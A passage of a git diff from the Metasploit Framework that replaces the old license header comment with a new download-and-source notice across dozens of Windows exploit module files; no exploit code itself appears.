b55b1dbfb6..d8956c5a00 100644 --- a/modules/exploits/windows/misc/lianja_db_net.rb +++ b/modules/exploits/windows/misc/lianja_db_net.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb index 05272f7acf..92a3f13b15 100644 --- a/modules/exploits/windows/misc/mercury_phonebook.rb +++ b/modules/exploits/windows/misc/mercury_phonebook.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb index 1e6832b40a..e53e610497 100644 --- a/modules/exploits/windows/misc/mini_stream.rb +++ b/modules/exploits/windows/misc/mini_stream.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb index 524510f847..b76e91df8f 100644 --- a/modules/exploits/windows/misc/mirc_privmsg_server.rb +++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/ms07_064_sami.rb b/modules/exploits/windows/misc/ms07_064_sami.rb index 5bac546bd2..ee906c7f77 100644 --- a/modules/exploits/windows/misc/ms07_064_sami.rb +++ b/modules/exploits/windows/misc/ms07_064_sami.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb index a023e99fcc..a2b6f0cc59 100644 --- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb +++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb index 46a6f8ba78..a6942092fc 100644 --- a/modules/exploits/windows/misc/netcat110_nt.rb +++ b/modules/exploits/windows/misc/netcat110_nt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb index 703d8e9900..d95f2aef90 100644 --- a/modules/exploits/windows/misc/nettransport.rb +++ b/modules/exploits/windows/misc/nettransport.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 5c271e1459..048e1bc805 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index 9407480569..7493959322 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index a4f7348f8c..125e01b333 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb index 8cd53d8aef..f85d380c6e 100644 --- a/modules/exploits/windows/misc/psh_web_delivery.rb +++ b/modules/exploits/windows/misc/psh_web_delivery.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/pxexploit.rb b/modules/exploits/windows/misc/pxexploit.rb index eca486991b..255c928fbc 100644 --- a/modules/exploits/windows/misc/pxexploit.rb +++ b/modules/exploits/windows/misc/pxexploit.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb index d6e7845190..6cfc92cdd0 100644 --- a/modules/exploits/windows/misc/realtek_playlist.rb +++ b/modules/exploits/windows/misc/realtek_playlist.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb index 015835109a..ceed574bf9 100644 --- a/modules/exploits/windows/misc/sap_2005_license.rb +++ b/modules/exploits/windows/misc/sap_2005_license.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index 38a12543e9..a8f24e80df 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/shixxnote_font.rb b/modules/exploits/windows/misc/shixxnote_font.rb index 34417bf8d6..e0a4d06b2c 100644 --- a/modules/exploits/windows/misc/shixxnote_font.rb +++ b/modules/exploits/windows/misc/shixxnote_font.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index a30af68191..a623bbaa47 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 36e3591a09..ea1da255b5 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index 6579f6a786..07ab018d5f 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/misc/tiny_identd_overflow.rb b/modules/exploits/windows/misc/tiny_identd_overflow.rb index 50f107b99f..72b975c492 100644 --- a/modules/exploits/windows/misc/tiny_identd_overflow.rb +++ b/modules/exploits/windows/misc/tiny_identd_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index 663c476932..c3bcc395fb 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb index c9bac4bede..69b7f54c47 100644 --- a/modules/exploits/windows/misc/ufo_ai.rb +++ b/modules/exploits/windows/misc/ufo_ai.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb index b3a408c8b1..c009397c73 100644 --- a/modules/exploits/windows/misc/windows_rsh.rb +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index 9f67307675..92e5925f49 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb index 21050ca6fc..a215ba4b48 100644 --- a/modules/exploits/windows/misc/wireshark_packet_dect.rb +++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb index 0b65cdaa12..38369a7685 100644 --- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb +++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/motorola/timbuktu_fileupload.rb b/modules/exploits/windows/motorola/timbuktu_fileupload.rb index 86aa1e31be..f277fd2bb1 100644 --- a/modules/exploits/windows/motorola/timbuktu_fileupload.rb +++ b/modules/exploits/windows/motorola/timbuktu_fileupload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 0aab6f82aa..22c7d70e9a 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb index 74ccdcadfd..b136c46864 100644 --- a/modules/exploits/windows/mssql/ms02_039_slammer.rb +++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb index e66e231d5a..6982305c0f 100644 --- a/modules/exploits/windows/mssql/ms02_056_hello.rb +++ b/modules/exploits/windows/mssql/ms02_056_hello.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index 7094601daa..7db69b1d4d 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 3f3207d76d..a3f7954ea0 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 00f4e5bf40..5621ec13c9 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 18b5c9be23..12d74503a5 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index a5f19afb3c..687cf8c45d 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index f5f350b9d0..8ad1ea5b97 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index a856574154..6a03777b27 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mysql/mysql_yassl_hello.rb b/modules/exploits/windows/mysql/mysql_yassl_hello.rb index aac634bda9..2a56d80ddd 100644 --- a/modules/exploits/windows/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/windows/mysql/mysql_yassl_hello.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 643ac77642..e59a57a116 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/nfs/xlink_nfsd.rb b/modules/exploits/windows/nfs/xlink_nfsd.rb index d5350297a5..ce07438d13 100644 --- a/modules/exploits/windows/nfs/xlink_nfsd.rb +++ b/modules/exploits/windows/nfs/xlink_nfsd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb index 40d957646c..4d3c9a5075 100644 --- a/modules/exploits/windows/nntp/ms05_030_nntp.rb +++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index e5afef18e3..8365e94ac2 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb index dbf003e88a..706d6de78a 100644 --- a/modules/exploits/windows/novell/groupwisemessenger_client.rb +++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 06b2c2c105..70cf850d07 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb index 603cc622f0..9daec6a1bf 100644 --- a/modules/exploits/windows/novell/nmap_stor.rb +++ b/modules/exploits/windows/novell/nmap_stor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index 0c7086cc6e..ed35dfff1c 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 6abd34cd1a..429b83e2fd 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb index aa1b12fef3..224db859b4 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index 6fc6aa521c..1f220a8dbb 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb index 4159f29b94..9b951f8a8f 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index e6cf7ff45e..82ba8bfee9 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit 